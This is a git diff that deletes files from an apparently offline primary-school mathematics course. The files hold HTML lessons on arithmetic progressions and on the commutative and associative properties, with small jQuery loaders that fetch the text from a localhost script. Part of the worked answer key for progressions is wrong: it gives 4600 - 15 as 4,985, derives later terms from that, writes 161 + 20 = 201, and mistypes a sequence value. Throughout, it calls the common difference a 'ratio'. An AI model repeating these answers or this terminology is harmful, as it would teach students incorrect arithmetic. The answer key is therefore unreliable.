-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m14/map511m14a04/source.txt b/Save_Mathematics/P5/map511m14/map511m14a04/source.txt
deleted file mode 100644
index e2ebe3d..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a04/source.txt
+++ /dev/null
@@ -1,115 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Guided practice
-</p>
-<p>
- 1.What is the ratio of the following arithmetic progression:
- <br />
- <br />
- a)125,140,155,170,...
- <br />
- <br />
- b)280,300,320,340,...
- <br />
- <br />
- 2.Find the next number in the following progression:
- <br />
- <br />
- a)3770,4770,5770,.....,.....,.....,9770;
- <br />
- <br />
- b)121,141,161,....,.....,.....,241;
- <br />
- <br />
- c)4645,4630,4615,....,....,....;
- <br />
- <br />
- d)12460,11460,10460,.....,.......,.....;
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  ANSWERS
- </span>
- <br />
- <br />
- <br />
- 1.a)125,140,155,170
-</p>
-<ul>
- <li>
-  140 -125 =15
- </li>
- <li>
-  155 - 140=15
- </li>
- <li>
-  170 - 155=15
- </li>
-</ul>
-<p>
- the ratio is 15
- <br />
- <br />
- b)280,300,320,340
-</p>
-<ul>
- <li>
-  300 - 280 =20
- </li>
- <li>
-  320 - 300 =20
- </li>
- <li>
-  340 -320 =20
- </li>
-</ul>
-<p>
- The ratio is 20
- <br />
- <br />
- 2.a)3770,4470,5770,.....,.....,......,9,770 the ratio is1,000.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  the forth number is 5,770 + 1,000 =6,770
- </li>
- <li>
-  The fifth number is 6,770 + 1,000=7,770
- </li>
- <li>
-  The sixth number is 7,770 + 1,000=8,770
- </li>
-</ul>
-<p>
- b) 121,141,161,....,.....,....,241 the ratio is 20
- <br />
- <br />
-</p>
-<ul>
- <li>
-  The forth number is 161 + 20 =181
- </li>
- <li>
-  the fifth number is 161 + 20 =201
- </li>
- <li>
-  The sixth number is 201 + 20 =221
- </li>
-</ul>
-<p>
- c) 4645,4630,4615,.....,......,.....;the ratio is 15 decreasing
- <br />
- <br />
-</p>
-<ul>
- <li>
-  The forth number is 4615 - 15 =4,600
- </li>
- <li>
-  The fifth number is 4600 - 15 =4,985
- </li>
- <li>
-  The sixth number is 4,985 - 15=4,970
- </li>
-</ul>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m14/map511m14a05/a.txt b/Save_Mathematics/P5/map511m14/map511m14a05/a.txt
deleted file mode 100644
index ee7ba0b..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a05/a.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Independent practice
-</p>
-<p>
- 1.What is the ratio of the following progression and indicate if it is increasing or decreasing:
- <br />
- <br />
- a) 44,64,84,104,124
- <br />
- <br />
- b)750,725,700,675
- <br />
- <br />
- c)17,29,41,53
- <br />
- <br />
- d)100,70,40,10
- <br />
- <br />
- 2.Find the next number in the following progression:
- <br />
- <br />
- a).......,.......,........,1700,1850,2000;
- <br />
- <br />
- b)170,200,230,.......,......,.......;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m14/map511m14a05/description.py b/Save_Mathematics/P5/map511m14/map511m14a05/description.py
deleted file mode 100644
index 2a4d341..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m14a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m14/map511m14a05/lesson.js b/Save_Mathematics/P5/map511m14/map511m14a05/lesson.js
deleted file mode 100644
index a1c821b..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m14/map511m14a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m14/map511m14a05/source.txt b/Save_Mathematics/P5/map511m14/map511m14a05/source.txt
deleted file mode 100644
index ee7ba0b..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a05/source.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Independent practice
-</p>
-<p>
- 1.What is the ratio of the following progression and indicate if it is increasing or decreasing:
- <br />
- <br />
- a) 44,64,84,104,124
- <br />
- <br />
- b)750,725,700,675
- <br />
- <br />
- c)17,29,41,53
- <br />
- <br />
- d)100,70,40,10
- <br />
- <br />
- 2.Find the next number in the following progression:
- <br />
- <br />
- a).......,.......,........,1700,1850,2000;
- <br />
- <br />
- b)170,200,230,.......,......,.......;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m14/map511m14a06/a.txt b/Save_Mathematics/P5/map511m14/map511m14a06/a.txt
deleted file mode 100644
index c39ab46..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a06/a.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Evaluation
-</p>
-<p>
- 1.Find the missing numbers in the following progression:
- <br />
- <br />
- a)14,17,20,....,.....,.....,32
- <br />
- <br />
- b)6,9,12,....,......,.....,24
- <br />
- <br />
- 2.What is the ratio of the following progressions and indicate if it is increasing or decreasing progression:
- <br />
- <br />
- a)11,20,29,.....,.....,.....
- <br />
- <br />
- b)100,90,80,70,.....,.....,.....;
- <br />
- <br />
- c)20,25,.....,.....,40,45,.....,.....;
- <br />
- <br />
- 3.The first number of the increasing progression is 10 and the forth number is 40.Their sum is 100.find the ratio and those number between the first and the forth.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m14/map511m14a06/description.py b/Save_Mathematics/P5/map511m14/map511m14a06/description.py
deleted file mode 100644
index d4c202a..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m14a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m14/map511m14a06/lesson.js b/Save_Mathematics/P5/map511m14/map511m14a06/lesson.js
deleted file mode 100644
index 274d50e..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m14/map511m14a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m14/map511m14a06/source.txt b/Save_Mathematics/P5/map511m14/map511m14a06/source.txt
deleted file mode 100644
index c39ab46..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a06/source.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Evaluation
-</p>
-<p>
- 1.Find the missing numbers in the following progression:
- <br />
- <br />
- a)14,17,20,....,.....,.....,32
- <br />
- <br />
- b)6,9,12,....,......,.....,24
- <br />
- <br />
- 2.What is the ratio of the following progressions and indicate if it is increasing or decreasing progression:
- <br />
- <br />
- a)11,20,29,.....,.....,.....
- <br />
- <br />
- b)100,90,80,70,.....,.....,.....;
- <br />
- <br />
- c)20,25,.....,.....,40,45,.....,.....;
- <br />
- <br />
- 3.The first number of the increasing progression is 10 and the forth number is 40.Their sum is 100.find the ratio and those number between the first and the forth.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m14/map511m14a07/a.txt b/Save_Mathematics/P5/map511m14/map511m14a07/a.txt
deleted file mode 100644
index a8060f8..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a07/a.txt
+++ /dev/null
@@ -1,12 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Remmdial
-</p>
-<p>
- Indicate the ratio,type of arithmetic progression and find the missing numbers of the following progressions:
- <br />
- <br />
- a)11,15,19,....,....,.....,35
- <br />
- <br />
- b)29,25,...,....,....,12,9,6,....,0;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m14/map511m14a07/description.py b/Save_Mathematics/P5/map511m14/map511m14a07/description.py
deleted file mode 100644
index a0ee851..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a07/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m14a07',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m14/map511m14a07/lesson.js b/Save_Mathematics/P5/map511m14/map511m14a07/lesson.js
deleted file mode 100644
index 3d07454..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a07/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m14/map511m14a07/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m14/map511m14a07/source.txt b/Save_Mathematics/P5/map511m14/map511m14a07/source.txt
deleted file mode 100644
index a8060f8..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a07/source.txt
+++ /dev/null
@@ -1,12 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Remmdial
-</p>
-<p>
- Indicate the ratio,type of arithmetic progression and find the missing numbers of the following progressions:
- <br />
- <br />
- a)11,15,19,....,....,.....,35
- <br />
- <br />
- b)29,25,...,....,....,12,9,6,....,0;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m14/map511m14a08/a.txt b/Save_Mathematics/P5/map511m14/map511m14a08/a.txt
deleted file mode 100644
index 598dc8c..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a08/a.txt
+++ /dev/null
@@ -1,15 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Enrichment
-</p>
-<p>
- 1.Indicate the ratio,type of arithmetic progression and find the missing numbers:
- <br />
- <br />
- a)7,11,15,.....,......,.......
- <br />
- <br />
- b)1246,1446,1646,......,.....,......
- <br />
- <br />
- 2.The first number of an arithmetic progression is 20 and the forth one is 80.their sum is 200.Find those numbers between the first and the forth number,and the ratio.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m14/map511m14a08/description.py b/Save_Mathematics/P5/map511m14/map511m14a08/description.py
deleted file mode 100644
index 7f82753..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a08/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m14a08',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m14/map511m14a08/lesson.js b/Save_Mathematics/P5/map511m14/map511m14a08/lesson.js
deleted file mode 100644
index 7f1aabc..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a08/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m14/map511m14a08/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m14/map511m14a08/source.txt b/Save_Mathematics/P5/map511m14/map511m14a08/source.txt
deleted file mode 100644
index 598dc8c..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a08/source.txt
+++ /dev/null
@@ -1,15 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Enrichment
-</p>
-<p>
- 1.Indicate the ratio,type of arithmetic progression and find the missing numbers:
- <br />
- <br />
- a)7,11,15,.....,......,.......
- <br />
- <br />
- b)1246,1446,1646,......,.....,......
- <br />
- <br />
- 2.The first number of an arithmetic progression is 20 and the forth one is 80.their sum is 200.Find those numbers between the first and the forth number,and the ratio.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m15/activities.js b/Save_Mathematics/P5/map511m15/activities.js
deleted file mode 100755
index 3cc23a0..0000000
--- a/Save_Mathematics/P5/map511m15/activities.js
+++ /dev/null
@@ -1,8 +0,0 @@
-var activities = [
-['1','1','map5','basic','map511m15a01','blue'],
-['2','2','map5','basic','map511m15a02','blue'],
-['3','3','map5','basic','map511m15a03','blue'],
-['4','4','map5','basic','map511m15a04','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map511m15/map511m15a01/a.txt b/Save_Mathematics/P5/map511m15/map511m15a01/a.txt
deleted file mode 100644
index 0b31786..0000000
--- a/Save_Mathematics/P5/map511m15/map511m15a01/a.txt
+++ /dev/null
@@ -1,116 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Introduction
-</p>
-<p>
- Here we are going to make the properties of addition and multiplication in such way the arrangement of numbers do not affect the final product or the sum.
- <br />
- <br />
- <span style="font-weight: bold;">
-  Examples:
-  <br />
-  <br />
- </span>
- a)20+30=30+20=50
- <br />
- <br />
- b)27+68=68+27=95
- <br />
- <br />
- c)20x4=4x20=80
- <br />
- <br />
- d)80x10=10x80=800 These way of changing a number in the position is called "
- <span style="font-weight: bold;">
-  COMMUTATIVE
- </span>
- "
- <br />
- <br />
- <br />
- Activity 2
- <span style="font-weight: bold; text-decoration: underline;">
-  .Commutative properties of addition and multiplication
- </span>
- <br />
- <br />
-</p>
-<p>
- The order in which two or more numbers when adding or multiplying them and do not affect the final result.
- <br />
- <br />
- <span style="font-weight: bold;">
-  Examples
- </span>
- <br />
- <br />
- a)42+68=68+42=110
- <br />
- <br />
- b)240+360=360+240=600
- <br />
- <br />
- c)27x10=10x27=270
- <br />
- <br />
- d)180x20=20x180=3600
- <br />
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  RULE
- </span>
- ;When adding or multiplying two or more numbers are addicted or multiplied, they do not change the result.The commutative properties applies with multiplication and addition only.
- <br />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  General formulas
- </span>
- :A+B=B+A
- <br />
- <br />
- A X B=B x A
- <br />
- <br />
- <br />
- ACTIVITY 3.
- <span style="font-weight: bold; text-decoration: underline;">
-  Associativity properties of addition and multiplication
- </span>
- <br />
- Either for addition or multiplication of the problems two or more structures of numbers are expected to be added at ago.to add or multiply two or more numbers ,start with any two in the given structure.
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  examples
- </span>
- :
- <br />
- <br />
- 1)14 + 16 + 20 = (14+16)+20 =14+(16+20)=50
- <br />
- <br />
- 2)4 x 6 x 2=(4 x 6) x 2=4 x (6 x 2) = 4 x 12=48
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  Rule
- </span>
- :
- <br />
- <br />
- when adding or multiplying several numbers together,the arrangement of numbers will not affect the final result.Whatever arrangement we use, gives the same result.
- <br />
- <br />
- General formula:
- <br />
- <br />
- 1)A + B + C=(A +B) +C =A + (B+C);
- <br />
- <br />
- 2)A X B X C =(A X B) X C=A X(B X C);
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m15/map511m15a01/description.py b/Save_Mathematics/P5/map511m15/map511m15a01/description.py
deleted file mode 100644
index 4c84938..0000000
--- a/Save_Mathematics/P5/map511m15/map511m15a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m15a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m15/map511m15a01/lesson.js b/Save_Mathematics/P5/map511m15/map511m15a01/lesson.js
deleted file mode 100644
index d9116e0..0000000
--- a/Save_Mathematics/P5/map511m15/map511m15a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m15/map511m15a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m15/map511m15a01/source.txt b/Save_Mathematics/P5/map511m15/map511m15a01/source.txt
deleted file mode 100644
index 0b31786..0000000
--- a/Save_Mathematics/P5/map511m15/map511m15a01/source.txt
+++ /dev/null
@@ -1,116 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Introduction
-</p>
-<p>
- Here we are going to make the properties of addition and multiplication in such way the arrangement of numbers do not affect the final product or the sum.
- <br />
- <br />
- <span style="font-weight: bold;">
-  Examples:
-  <br />
-  <br />
- </span>
- a)20+30=30+20=50
- <br />
- <br />
- b)27+68=68+27=95
- <br />
- <br />
- c)20x4=4x20=80
- <br />
- <br />
- d)80x10=10x80=800 These way of changing a number in the position is called "
- <span style="font-weight: bold;">
-  COMMUTATIVE
- </span>
- "
- <br />
- <br />
- <br />
- Activity 2
- <span style="font-weight: bold; text-decoration: underline;">
-  .Commutative properties of addition and multiplication
- </span>
- <br />
- <br />
-</p>
-<p>
- The order in which two or more numbers when adding or multiplying them and do not affect the final result.
- <br />
- <br />
- <span style="font-weight: bold;">
-  Examples
- </span>
- <br />
- <br />
- a)42+68=68+42=110
- <br />
- <br />
- b)240+360=360+240=600
- <br />
- <br />
- c)27x10=10x27=270
- <br />
- <br />
- d)180x20=20x180=3600
- <br />
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  RULE
- </span>
- ;When adding or multiplying two or more numbers are addicted or multiplied, they do not change the result.The commutative properties applies with multiplication and addition only.
- <br />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  General formulas
- </span>
- :A+B=B+A
- <br />
- <br />
- A X B=B x A
- <br />
- <br />
- <br />
- ACTIVITY 3.
- <span style="font-weight: bold; text-decoration: underline;">
-  Associativity properties of addition and multiplication
- </span>
- <br />
- Either for addition or multiplication of the problems two or more structures of numbers are expected to be added at ago.to add or multiply two or more numbers ,start with any two in the given structure.
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  examples
- </span>
- :
- <br />
- <br />
- 1)14 + 16 + 20 = (14+16)+20 =14+(16+20)=50
- <br />
- <br />
- 2)4 x 6 x 2=(4 x 6) x 2=4 x (6 x 2) = 4 x 12=48
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  Rule
- </span>
- :
- <br />
- <br />
- when adding or multiplying several numbers together,the arrangement of numbers will not affect the final result.Whatever arrangement we use, gives the same result.
- <br />
- <br />
- General formula:
- <br />
- <br />
- 1)A + B + C=(A +B) +C =A + (B+C);
- <br />
- <br />
- 2)A X B X C =(A X B) X C=A X(B X C);
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m15/map511m15a02/a.txt b/Save_Mathematics/P5/map511m15/map511m15a02/a.txt
deleted file mode 100644
index a5605d5..0000000
--- a/Save_Mathematics/P5/map511m15/map511m15a02/a.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-<p>
- &nbsp; Commutative property of addition and multiplication
-</p>
-<p>
- The order in which two or more numbers when adding or multiplying them and do not affect the final result.
- <br />
- <br />
- <span style="font-weight: bold;">
-  Examples
- </span>
- <br />
- <br />
- a)42+68=68+42=110
- <br />
- <br />
- b)240+360=360+240=600
- <br />
- <br />
- c)27x10=10x27=270
- <br />
- <br />
- d)180x20=20x180=3600
- <br />
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  RULE
- </span>
- ;When adding or multiplying two or more numbers are addicted or multiplied, they do not change the result.The commutative properties applies with multiplication and addition only.
- <br />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  General formulas
- </span>
- :A+B=B+A
- <br />
- <br />
- A X B=B x A
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m15/map511m15a02/description.py b/Save_Mathematics/P5/map511m15/map511m15a02/description.py
deleted file mode 100644
index 70f9d70..0000000
--- a/Save_Mathematics/P5/map511m15/map511m15a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m15a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m15/map511m15a02/lesson.js b/Save_Mathematics/P5/map511m15/map511m15a02/lesson.js
deleted file mode 100644
index 2221bd9..0000000
--- a/Save_Mathematics/P5/map511m15/map511m15a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m15/map511m15a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m15/map511m15a02/source.txt b/Save_Mathematics/P5/map511m15/map511m15a02/source.txt
deleted file mode 100644
index a5605d5..0000000
--- a/Save_Mathematics/P5/map511m15/map511m15a02/source.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-<p>
- &nbsp; Commutative property of addition and multiplication
-</p>
-<p>
- The order in which two or more numbers when adding or multiplying them and do not affect the final result.
- <br />
- <br />
- <span style="font-weight: bold;">
-  Examples
- </span>
- <br />
- <br />
- a)42+68=68+42=110
- <br />
- <br />
- b)240+360=360+240=600
- <br />
- <br />
- c)27x10=10x27=270
- <br />
- <br />
- d)180x20=20x180=3600
- <br />
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  RULE
- </span>
- ;When adding or multiplying two or more numbers are addicted or multiplied, they do not change the result.The commutative properties applies with multiplication and addition only.
- <br />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  General formulas
- </span>
- :A+B=B+A
- <br />
- <br />
- A X B=B x A
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m15/map511m15a03/a.txt b/Save_Mathematics/P5/map511m15/map511m15a03/a.txt
deleted file mode 100644
index da9cabc..0000000
--- a/Save_Mathematics/P5/map511m15/map511m15a03/a.txt
+++ /dev/null
@@ -1,36 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Commutative&nbsp; property of addition and multiplication
-</p>
-<p>
- Either for addition or multiplication of the problems two or more structures of numbers are expected to be added at ago.to add or multiply two or more numbers ,start with any two in the given structure.
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  examples
- </span>
- :
- <br />
- <br />
- 1)14 + 16 + 20 = (14+16)+20 =14+(16+20)=50
- <br />
- <br />
- 2)4 x 6 x 2=(4 x 6) x 2=4 x (6 x 2) = 4 x 12=48
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  Rule
- </span>
- :
- <br />
- <br />
- when adding or multiplying several numbers together,the arrangement of numbers will not affect the final result.Whatever arrangement we use, gives the same result.
- <br />
- <br />
- General formula:
- <br />
- <br />
- 1)A + B + C=(A +B) +C =A + (B+C);
- <br />
- <br />
- 2)A X B X C =(A X B) X C=A X(B X C);
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m15/map511m15a03/description.py b/Save_Mathematics/P5/map511m15/map511m15a03/description.py
deleted file mode 100644
index 80b693c..0000000
--- a/Save_Mathematics/P5/map511m15/map511m15a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m15a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m15/map511m15a03/lesson.js b/Save_Mathematics/P5/map511m15/map511m15a03/lesson.js
deleted file mode 100644
index 6cada63..0000000
--- a/Save_Mathematics/P5/map511m15/map511m15a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m15/map511m15a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m15/map511m15a03/source.txt b/Save_Mathematics/P5/map511m15/map511m15a03/source.txt
deleted file mode 100644
index da9cabc..0000000
--- a/Save_Mathematics/P5/map511m15/map511m15a03/source.txt
+++ /dev/null
@@ -1,36 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Commutative&nbsp; property of addition and multiplication
-</p>
-<p>
- Either for addition or multiplication of the problems two or more structures of numbers are expected to be added at ago.to add or multiply two or more numbers ,start with any two in the given structure.
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  examples
- </span>
- :
- <br />
- <br />
- 1)14 + 16 + 20 = (14+16)+20 =14+(16+20)=50
- <br />
- <br />
- 2)4 x 6 x 2=(4 x 6) x 2=4 x (6 x 2) = 4 x 12=48
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  Rule
- </span>
- :
- <br />
- <br />
- when adding or multiplying several numbers together,the arrangement of numbers will not affect the final result.Whatever arrangement we use, gives the same result.
- <br />
- <br />
- General formula:
- <br />
- <br />
